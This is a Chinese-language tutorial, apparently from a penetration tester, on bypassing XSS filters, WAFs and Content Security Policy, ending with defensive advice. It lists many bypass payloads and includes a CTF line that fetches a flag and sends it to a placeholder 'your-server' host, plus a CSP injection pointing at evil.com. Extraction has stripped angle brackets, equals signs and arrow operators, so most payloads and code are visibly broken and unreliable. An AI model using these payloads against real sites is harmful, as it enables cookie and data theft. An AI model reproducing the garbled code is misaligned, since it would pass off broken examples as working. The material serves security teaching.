1. 项目概述从“弹窗”到“接管”理解XSS绕过的本质刚入行做安全测试那会儿我觉得XSS跨站脚本攻击不就是弹个框嘛alert(1)一执行漏洞就算找到了。后来在真实业务里碰壁无数次才发现真正的挑战从来不是发现一个能执行脚本的输入点而是如何在层层防御下让精心构造的Payload成功“活”下来并执行。现代Web应用部署了各种过滤器Filter、Web应用防火墙WAF、内容安全策略CSP它们像一道道安检门把那些明显的script、onerror、javascript:标识统统拦下。这时候“绕过”就成了渗透测试工程师和安全研究员的核心技能之一。这不仅仅是黑客的炫技更是对防御体系深度的压力测试能帮你真正理解前端安全的薄弱环节在哪里。今天要聊的就是这些“绕过过滤器”的实战技巧。我不会只给你一堆Payload列表——那种东西网上很多但光看列表你永远不知道什么时候该用哪个以及为什么这个能行。我会结合常见的过滤逻辑拆解背后的绕过原理并分享我在真实渗透测试和CTF比赛中积累的一些思路和“骚操作”。无论你是正在学习Web安全的初学者还是想深化绕过技巧的进阶者希望这些内容能帮你打开一扇窗。我们的目标很明确不是教你攻击而是让你彻底理解攻击是如何发生的从而能构建更坚固的防御。2. 过滤器的工作原理与常见拦截点在开始研究如何绕过之前我们必须先成为“过滤器设计师”弄明白它通常是怎么工作的。理解防御逻辑是设计攻击路径的前提。2.1 过滤器的核心逻辑黑名单、白名单与规范化绝大多数过滤器的核心可以归结为三种策略或者它们的混合体。黑名单过滤是最初级、也最常见的方式。管理员或开发人员预设一个“危险字符串”列表比如script、javascript:、onclick、eval(等。当用户输入中包含这些字符串时过滤器会采取行动可能是直接删除如将script替换为空可能是进行转义如将变成lt;也可能是直接拦截并返回错误。这种方式的弊端非常明显名单难以穷尽且极易绕过。只要构造不在名单上的等效Payload即可。白名单过滤则安全得多。它只允许输入符合特定规则的安全字符或结构。例如一个姓名输入框可能只允许字母、数字和少数几个标点。对于富文本编辑器它可能使用一个严格的HTML标签和属性白名单如只允许b,i,a href”http/https”。白名单的挑战在于平衡安全与功能定义过于严格会影响用户体验但一旦实施得当绕过难度极大。规范化与解码混淆是过滤器面临的另一个复杂问题。攻击者输入的Payload可能经过多次编码如HTML实体编码、URL编码、Unicode编码。一个健壮的过滤器需要在比较或过滤前对输入进行规范化解码处理。如果过滤器的解码顺序或次数与浏览器不一致就会产生安全空隙。例如过滤器只解码一次lt;scriptgt;但浏览器可能会解码两次导致绕过。2.2 关键拦截位置与上下文过滤可能发生在不同阶段Payload需要针对性地变形服务端输入过滤数据到达后端应用逻辑之前被处理。这里可能进行全局性的关键字过滤或转义。输出编码/转义在将数据嵌入到不同HTML上下文时进行。这是最应该做好但也最容易出错的地方。HTML标签内正文div用户输入/div。这里需要转义,,等。HTML属性值input value”用户输入”。这里需要转义引号”和’防止闭合属性。JavaScript上下文scriptvar a ‘用户输入’; /script。这里需要处理引号闭合和JS转义。URL属性a href”用户输入”。这里需要验证协议是否以javascript:开头。CSS上下文div style”color: 用户输入”。这里可能通过expression()等特性执行代码。客户端过滤WAF/前端JS在请求到达服务器前或响应到达浏览器后由WAF或前端JavaScript代码进行二次校验。这种过滤常可通过直接禁用浏览器JS或抓包修改请求来绕过。注意很多漏洞源于开发人员混淆了上下文。例如在HTML属性上下文使用了HTML实体转义将”转成quot;这本身是正确的。但如果这个属性值被未经处理地放入了script标签内的字符串中浏览器会先进行HTML解码还原出引号从而造成JS字符串闭合。这就是“错误的上下文转义”导致的漏洞。3. 经典绕过技巧分类解析下面我们进入实战环节按照过滤器的拦截思路分类讲解绕过技巧。我会尽量解释每个技巧生效的条件和原理。3.1 针对标签与事件处理程序的绕过当过滤器重点拦截script标签和onclick这类明显的事件处理器时我们的武器库依然很丰富。利用不常见的HTML标签与事件 黑名单可能只包含script、img、svg等常见标签。我们可以尝试body onloadalert(1)利用body标签的onload事件。svg onloadalert(1)SVG标签内联支持脚本。details open ontogglealert(1)利用details元素的ontoggle事件。input onfocusalert(1) autofocus结合autofocus属性让元素自动获取焦点触发事件。video onloadstartalert(1)source/video多媒体标签的事件。大小写与嵌套混淆 简单的正则匹配/script/i可能不区分大小写但有些过滤器只匹配小写。可以尝试ScRiPtalert(1)/sCrIpT更隐蔽的利用HTML解析器的特性在标签名中插入无效字符某些浏览器会忽略。例如script/xalert(1)/script或scriptalert(1)/script 注意空格位置。但这非常依赖于浏览器。利用标签属性本身执行代码 有些属性值可以直接执行JavaScript无需事件处理器。a href”javascript:alert(1)”经典的javascript:伪协议。过滤器通常会拦截javascript:这个字符串。绕过方法包括利用URL编码javascript:alert(1)或使用大小写JavaScript:, 甚至利用空白字符java script:或换行java%0ascript:取决于浏览器和过滤器的解析差异。iframe src”javascript:alert(1)”同样适用。form action”javascript:alert(1)”表单的action属性。标签属性值绕过引号过滤 如果属性值被引号包围我们需要先闭合引号。假设输入点位于input value”INPUT”中。如果过滤器转义了引号”-quot;在HTML上下文中是安全的。但如果过滤不严我们可以输入” onmouseover”alert(1)最终构造出input value”” onmouseover”alert(1)”。这里我们闭合了原有的value属性并添加了新的事件属性。如果属性值没有引号如input valueINPUT则更简单直接输入x onmouseoveralert(1)构成input valuex onmouseoveralert(1)。注意这里的alert(1)作为属性值通常不需要引号但某些浏览器在遇到空格时可能解析出错此时可以用反引号代替。3.2 针对JavaScript关键字与语法的绕过当我们的Payload已经进入了一个JavaScript执行上下文比如在script标签内或者一个事件处理器中但过滤器对alert、eval、Function等关键字进行拦截时就需要一些“障眼法”。字符串拼接与编码 这是最基础的方法。JavaScript可以通过多种方式构造一个字符串。eval(‘al’’ert(1)’)拼接字符串。eval(String.fromCharCode(97,108,101,114,116,40,49,41))利用String.fromCharCode从ASCII码构造字符串。window[‘al’’ert’](1)使用中括号表示法访问对象属性。top[“al””ert”](1)类似top、parent、self等都可能指向window对象。利用JSFuck等编码形式 JSFuck是一种极端的编码方式它仅用[]()!六个字符就能编写任何JavaScript代码。例如[][“filter”][“constructor”](“alert(1)”)()。这种Payload长度惊人但能绕过很多简单的关键字匹配。在线工具可以轻松生成。利用模板字符串与Unicode ES6的模板字符串反引号有时可以绕过对单引号/双引号的过滤。alert1注意这是标签模板语法等效于alert(‘1’)。Unicode转义\u0061\u006c\u0065\u0072\u0074(1)解码后就是alert(1)。浏览器JS引擎会识别并解码。间接调用与原型链 通过访问对象的构造函数来动态执行代码。(1).constructor.constructor(“alert(1)”)()数字1的构造函数是NumberNumber的构造函数是Function由此创建了一个函数并执行。[].filter.constructor(“alert(1)”)()利用数组filter方法的constructor属性它也是Function。实操心得在真实的绕过尝试中我通常会先用一个简单的prompt(1)或console.log(1)来测试执行上下文是否畅通因为它们比alert更少被列入黑名单。确认可执行后再尝试递进地使用更复杂的Payload来证明危害比如document.cookie。在CTF中经常需要读取特定路径下的flag文件Payload会变成fetch(‘/flag’).then(rr.text()).then(dlocation.href’http://your-server?c’d)这就涉及到更复杂的异步请求和外部通信。3.3 编码与多重编码绕过这是对抗过滤器的“重武器”核心在于利用浏览器与过滤器在解码顺序和次数上的不一致。HTML实体编码 浏览器在解析HTML时会识别并解码实体。例如lt;会被解码为。场景假设过滤器禁止输入和但允许输入。我们可以输入lt;scriptgt;alert(1)lt;/scriptgt;。如果过滤器没有解码就直接输出而浏览器正常解码那么脚本就会执行。多重编码amp;lt;lt;的实体编码。如果过滤器只解码一次得到lt;但浏览器会继续解码第二次得到。十进制/十六进制实体还可以表示为十进制或十六进制。过滤器的正则可能只匹配其中一种形式。URL编码 主要用于出现在URL上下文如href、src、action或GET请求参数中的Payload。javascript:alert(1)编码后为javascript%3Aalert%281%29。关键点在于浏览器在执行javascript:伪协议前会对URL进行解码。如果WAF只检查原始URL字符串就可能被绕过。可以混合编码只编码关键字符如javascript:alert%281%29或javascrip%74:alert(1)。Unicode编码与UTF-7Unicode转义在HTML和JS中都可以使用。如表示为\u003c在JS字符串中或在HTML中但支持度不一。UTF-7绕过这是一种古老的技巧针对没有明确指定字符集的页面。ADw-scriptAD4-alert(1)ADw-/scriptAD4-在UTF-7编码下会被解析为scriptalert(1)/script。现代浏览器默认使用UTF-8此技巧已较少见但在某些特定配置下仍可能生效。混合编码与局部编码 最有效的绕过往往是“组合拳”。例如在一个onerror事件中既要绕过对onerror的检测又要绕过对其中代码的检测。先通过大小写或插入标签绕过对img标签和onerror属性的过滤ImG sRcx oNeRrOralert(1)。如果alert被过滤则对事件处理器内的代码进行JS编码img srcx onerroreval(‘\x61\x6c\x65\x72\x74\x28\x31\x29’)。如果eval也被过滤可以尝试img srcx onerrorwindow[‘al’’ert’](1)。4. 高级绕过场景与实战思路当面对更复杂的WAF或框架内置过滤器时需要更精巧的利用和更深入的理解。4.1 绕过内容安全策略CSPCSP不是过滤器而是一个更强大的浏览器端安全机制通过HTTP头告诉浏览器哪些资源是可信的。绕过CSP通常不是直接“击败”它而是寻找其策略中的疏漏。利用允许的脚本源如果CSP包含script-src ‘self’意味着只允许加载同源脚本。如果网站存在一个上传点允许上传静态文件如图片且未正确验证内容类型攻击者可能上传一个包含恶意JS的.js文件然后通过script src”/uploads/evil.js”来执行。这就是“同源”策略被滥用。利用unsafe-inline如果CSP为了兼容旧代码而包含了‘unsafe-inline’那么任何内联脚本都将被允许之前的绕过技巧大多重新生效。这是最糟糕的配置之一。利用unsafe-eval如果策略允许eval、Function等那么通过字符串拼接、编码构造动态代码的方式将畅通无阻。利用JSONP回调如果CSP允许从某个可信域如script-src https://api.trusted.com加载脚本而该域提供了JSONP接口攻击者可以诱使用户访问一个精心构造的URL该URL调用该JSONP接口并将恶意代码作为回调函数参数执行。例如script src”https://api.trusted.com/data?callbackalert(document.domain)//”/script。CSP注入如果页面动态生成CSP头且用户输入未被妥善过滤就包含其中攻击者可能注入一个script-src指令来允许来自自己服务器的脚本。例如注入; script-src https://evil.com使得最终策略变为允许从evil.com加载脚本。4.2 DOM型XSS的独特绕过DOM型XSS的Payload从不发送到服务器完全在客户端JavaScript代码中触发。因此服务端的过滤器形同虚设。绕过依赖于对前端JS代码逻辑缺陷的利用。源码审计关键在于仔细阅读前端JavaScript找到那些将用户可控数据传递给“危险”接收器的代码路径。常见的接收器Sink包括innerHTML、outerHTML、document.write()、eval()、setTimeout()、location、postMessage处理器等。利用哈希Fragmentlocation.hashURL中#后面的部分不会发送到服务器。一段代码如果直接eval(location.hash.substring(1))或将其插入innerHTML就会导致XSS。Payload直接写在URL里即可https://victim.com/page.html#img srcx onerroralert(1)。利用postMessage如果页面监听了message事件并且未严格验证消息来源和内容就直接将数据用于innerHTML或eval那么一个恶意iframe就可以通过postMessage向目标页面发送XSS Payload。绕过客户端过滤有些前端JS会自己实现过滤函数。可以通过浏览器开发者工具动态调试分析过滤逻辑找到绕过方法。有时直接禁用JavaScript就能绕过这种客户端检查但可能无法触发漏洞本身。4.3 利用浏览器特性与解析差异浏览器的HTML和JavaScript解析器并非铁板一块某些“怪异模式”或特性可以被利用。字符集与编码绕过如前所述的UTF-7还有在某些特定字符集下某些字节序列会被解析为特殊字符。HTML5新增标签与属性新的标签如picture、math、svg和属性可能带来新的攻击向量。SVG本身就是一个完整的XML文档内部可以包含脚本。浏览器Bug历史上存在过一些浏览器解析Bug导致畸形的HTML被错误解释。例如某些版本的浏览器对script标签后紧跟非空格字符的处理异常。这类绕过时效性强但一旦公开影响范围可能很广。5. 防御视角下的思考与总结聊了这么多绕过技巧最终还是要回到防御上来。真正的安全不是依靠一个“神奇”的过滤器而是一套完整的体系。严格的输出编码/转义这是黄金法则。根据数据将要嵌入的上下文HTML、属性、JS、CSS、URL使用经过严格测试的编码库进行转义。不要自己写正则用成熟的库如OWASP ESAPI、各种语言框架内置的模板引擎如Jinja2、React的JSX。实施CSP作为纵深防御的最后一道防线。制定严格的策略禁用内联脚本和evalscript-src ‘self’并仔细评估所有外部资源源。即使被部分绕过也能极大增加攻击难度。输入验证与规范化在接收输入时根据业务逻辑进行严格的白名单验证如姓名只允许字母和空格。对于复杂输入如HTML使用安全的富文本处理库它内部会进行解析、白名单过滤和序列化。使用安全的框架与API优先使用那些自动处理XSS防护的框架和API。例如使用element.textContent而不是innerHTML来设置纯文本使用安全的DOM操作API如document.createElement,setAttribute来动态创建元素而不是拼接HTML字符串。定期安全测试与审计将XSS检查纳入自动化测试流程如使用DAST工具。同时进行人工代码审计特别是对直接操作DOM、使用eval、setTimeout/setInterval接收字符串参数、以及处理location.*、postMessage等敏感位置进行重点审查。在我个人的测试经验里最棘手的漏洞往往出现在“自以为安全”的地方——比如一个经过严格过滤的评论框没事但用户个人主页的“昵称”显示在页面标题title里却忘了做转义。或者一个复杂的单页应用SPA前端路由将用户输入的一部分直接拼进了innerHTML。安全是一个整体任何一环的疏忽都可能导致前功尽弃。理解攻击者的绕过手法不是为了成为他们而是为了在设计和代码阶段就堵上那些可能被利用的缝隙。每一次成功的绕过都揭示了一种防御的缺失而修补它正是我们让网络世界变得更安全一点的方式。